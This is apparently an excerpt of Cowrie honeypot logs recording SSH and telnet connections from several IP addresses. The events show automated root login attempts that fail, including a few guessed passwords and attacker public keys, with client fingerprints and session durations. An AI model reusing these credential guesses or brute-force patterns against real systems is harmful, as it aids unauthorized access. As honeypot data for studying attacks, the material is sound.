{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:32.900748Z","src_ip":"103.75.182.198","session":"ec7581cc476d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.403262138366699,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:32.908479Z","src_ip":"192.119.13.58","session":"d75ad99175a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"avtoplus","message":"login attempt [root/avtoplus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:33.657631Z","src_ip":"103.75.182.198","session":"ec7581cc476d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:34.923160Z","src_ip":"103.75.182.198","session":"ec7581cc476d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef53e4efcb2","protocol":"telnet","message":"New connection: 192.119.13.58:49888 (10.17.0.5:23) [session: fef53e4efcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:36.314458Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":43418,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eb679c3a59d","protocol":"ssh","message":"New connection: 62.133.63.178:43418 (10.17.0.5:22) [session: 2eb679c3a59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:37.415183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:37.419873Z","src_ip":"62.133.63.178","session":"2eb679c3a59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:37.543722Z","src_ip":"62.133.63.178","session":"2eb679c3a59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microlab","message":"login attempt [root/microlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:37.918293Z","src_ip":"62.133.63.178","session":"2eb679c3a59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:39.046775Z","src_ip":"62.133.63.178","session":"2eb679c3a59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a974a236af40","protocol":"telnet","message":"New connection: 192.119.13.58:54202 (10.17.0.5:23) [session: a974a236af40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:44.690775Z"}
{"eventid":"cowrie.session.closed","duration":38.77119183540344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:44.922088Z","src_ip":"192.119.13.58","session":"8d2857ae2956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.215091943740845,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:46.051841Z","src_ip":"192.119.13.58","session":"529b7b703d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38306,"dst_ip":"10.17.0.5","dst_port":23,"session":"939b87289dbd","protocol":"telnet","message":"New connection: 192.119.13.58:38306 (10.17.0.5:23) [session: 939b87289dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:47.593860Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":32958,"dst_ip":"159.203.135.109","dst_port":22,"session":"c890968b55d7","protocol":"ssh","message":"New connection: 80.66.85.226:32958 (159.203.135.109:22) [session: c890968b55d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:51.225101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:51.232633Z","src_ip":"80.66.85.226","session":"c890968b55d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:51.341036Z","src_ip":"80.66.85.226","session":"c890968b55d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margosha","message":"login attempt [root/margosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:51.618200Z","src_ip":"80.66.85.226","session":"c890968b55d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.951772689819336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:52.620437Z","src_ip":"192.119.13.58","session":"55f0c144a18f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:52.715991Z","src_ip":"80.66.85.226","session":"c890968b55d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.26222372055054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:00.134841Z","src_ip":"192.119.13.58","session":"30e2bd18e535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71077513694763,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:02.017435Z","src_ip":"192.119.13.58","session":"c53598d58c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56688,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a9416c5a60","protocol":"telnet","message":"New connection: 192.119.13.58:56688 (10.17.0.5:23) [session: 05a9416c5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:05.972797Z"}
{"eventid":"cowrie.session.closed","duration":50.97470664978027,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:06.089088Z","src_ip":"192.119.13.58","session":"d8138f4376cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.58464169502258,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:09.763601Z","src_ip":"192.119.13.58","session":"0698e321eaa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50015449523926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:15.814495Z","src_ip":"192.119.13.58","session":"fef53e4efcb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39182,"dst_ip":"10.17.0.5","dst_port":23,"session":"95d127f83ee6","protocol":"telnet","message":"New connection: 192.119.13.58:39182 (10.17.0.5:23) [session: 95d127f83ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:16.198748Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":2382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e89a4449ff9","protocol":"ssh","message":"New connection: 23.131.184.100:2382 (10.17.0.5:22) [session: 0e89a4449ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:16.852842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:16.859052Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:16.942745Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":38324,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8973a6329a","protocol":"ssh","message":"New connection: 186.219.184.142:38324 (10.17.0.5:22) [session: be8973a6329a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.295061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.300655Z","src_ip":"186.219.184.142","session":"be8973a6329a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:80:0c:d2:56:83:0a:04:f9:34:c0:76:55:66:59:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk5TaoU3hyNRGbUA3Ed3N1ddlHMvdwlBO4RkKIxVkIfsLvR7BYA7bcTi69ahA7veNDNW+1m/xQr2JFx5frhooPhYuyrikRkFtod/ZubabfjMIFBEhmIVvbvTQtOQmIm4pAseHnxzEnAUYeordTIUfqq0JROTIba3mSRGYWpquS5zIfF3XAekuEcMCSh9B7PaG4wzbsKxj9v8rtIHj7euC6cG/kzTdyBvKxuAi3c37olJQ9YBe2HQofYeQUuo7QH8Y6e2hYw2U6p6/H7wz5mrA1oSYNoMU8FNPl31796C3mCRqFVeb8Kuqhg9fjYvo0fSTyJSbCSIN7+mo1q+TzPidb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:80:0c:d2:56:83:0a:04:f9:34:c0:76:55:66:59:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.308429Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:80:0c:d2:56:83:0a:04:f9:34:c0:76:55:66:59:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk5TaoU3hyNRGbUA3Ed3N1ddlHMvdwlBO4RkKIxVkIfsLvR7BYA7bcTi69ahA7veNDNW+1m/xQr2JFx5frhooPhYuyrikRkFtod/ZubabfjMIFBEhmIVvbvTQtOQmIm4pAseHnxzEnAUYeordTIUfqq0JROTIba3mSRGYWpquS5zIfF3XAekuEcMCSh9B7PaG4wzbsKxj9v8rtIHj7euC6cG/kzTdyBvKxuAi3c37olJQ9YBe2HQofYeQUuo7QH8Y6e2hYw2U6p6/H7wz5mrA1oSYNoMU8FNPl31796C3mCRqFVeb8Kuqhg9fjYvo0fSTyJSbCSIN7+mo1q+TzPidb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.312335Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:67:5d:2d:85:57:9c:6a:5f:32:a9:69:9d:77:15:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxxAVkAnxJcQMEQUmYVIlNWxGDCzDtlBP2de+K9av4+7BMBl0zJk9GF4j6eCG8i1iOF1OsQhulzunXJyoSvoK4JKe5ENOraD3AvqnmNNHu27TdY9e1/uHiT0YNGSowijnzH+oIudb/Rrw5uqxRzP29YerN81YD9xFYshVoAjDLM6UQaTZv4hsCyw5N5S8F4gQ5L40ZqVf5hc2v0wHFrWg2paKz/JRLsGUuhKp5KMsRhuWNnLG758HdcT7LXXply413SiSGCJPQe5SqXZ+loIWS9dr/HLPNjk+xm0mQtRTBZBmXo17TLkiQj+prooOKizAS9qJDEZVHzhk5QyY5qvzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:67:5d:2d:85:57:9c:6a:5f:32:a9:69:9d:77:15:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.392872Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:67:5d:2d:85:57:9c:6a:5f:32:a9:69:9d:77:15:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxxAVkAnxJcQMEQUmYVIlNWxGDCzDtlBP2de+K9av4+7BMBl0zJk9GF4j6eCG8i1iOF1OsQhulzunXJyoSvoK4JKe5ENOraD3AvqnmNNHu27TdY9e1/uHiT0YNGSowijnzH+oIudb/Rrw5uqxRzP29YerN81YD9xFYshVoAjDLM6UQaTZv4hsCyw5N5S8F4gQ5L40ZqVf5hc2v0wHFrWg2paKz/JRLsGUuhKp5KMsRhuWNnLG758HdcT7LXXply413SiSGCJPQe5SqXZ+loIWS9dr/HLPNjk+xm0mQtRTBZBmXo17TLkiQj+prooOKizAS9qJDEZVHzhk5QyY5qvzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.398775Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.438975Z","src_ip":"186.219.184.142","session":"be8973a6329a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:bd:b1:24:fd:59:14:73:14:95:1f:00:2c:55:e1:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDt6LJeUtMH+6pyelxWPceJQu92in9Tz9eGYt1JgMC8l2XVDcb++8W8i7RbwFu1jevnXVKisTpMJ/Ax21RnhSv9HtK2yFqX25u9atnmykaFeMzZ21BfIiOYFYEFD6mG1NXGniUc0vH2zENCZhz+7D38MYo42l9+li+UOpfM/1PEja5R2X5yjNokCifmKzGFCQzMjOBzGepP+FHnU7n9s9uMO0aA68OTIdOAiRumvTTI8enEP9cCNMxy19Gp55+2pH3UYj5zj/IpK/biwBGud8F3NHHdRxyNP0yI1i6tLTb2OXV8q7ZKBPCzt5C4wFNej8xu48OW+NTljICrBOgyN5EfTXypPGlMKZVIZUZ2AgITMwEwYnwJ4HpHj5bK6xfpnkxzeEey+lyTeQwqn4EUMlkoyBSJNIWttEHl6KNwUdNOyzsonFmUcWrvyYsQArV8KYE+3Q5GIncUwlRurucabLBIugMYqFRPtUDbT4AWF5pGepi7YAqKEz1AGttz16sCLk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:bd:b1:24:fd:59:14:73:14:95:1f:00:2c:55:e1:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.481298Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:bd:b1:24:fd:59:14:73:14:95:1f:00:2c:55:e1:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDt6LJeUtMH+6pyelxWPceJQu92in9Tz9eGYt1JgMC8l2XVDcb++8W8i7RbwFu1jevnXVKisTpMJ/Ax21RnhSv9HtK2yFqX25u9atnmykaFeMzZ21BfIiOYFYEFD6mG1NXGniUc0vH2zENCZhz+7D38MYo42l9+li+UOpfM/1PEja5R2X5yjNokCifmKzGFCQzMjOBzGepP+FHnU7n9s9uMO0aA68OTIdOAiRumvTTI8enEP9cCNMxy19Gp55+2pH3UYj5zj/IpK/biwBGud8F3NHHdRxyNP0yI1i6tLTb2OXV8q7ZKBPCzt5C4wFNej8xu48OW+NTljICrBOgyN5EfTXypPGlMKZVIZUZ2AgITMwEwYnwJ4HpHj5bK6xfpnkxzeEey+lyTeQwqn4EUMlkoyBSJNIWttEHl6KNwUdNOyzsonFmUcWrvyYsQArV8KYE+3Q5GIncUwlRurucabLBIugMYqFRPtUDbT4AWF5pGepi7YAqKEz1AGttz16sCLk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:38:17.490423Z","src_ip":"23.131.184.100","session":"0e89a4449ff9","protocol":"ssh"}
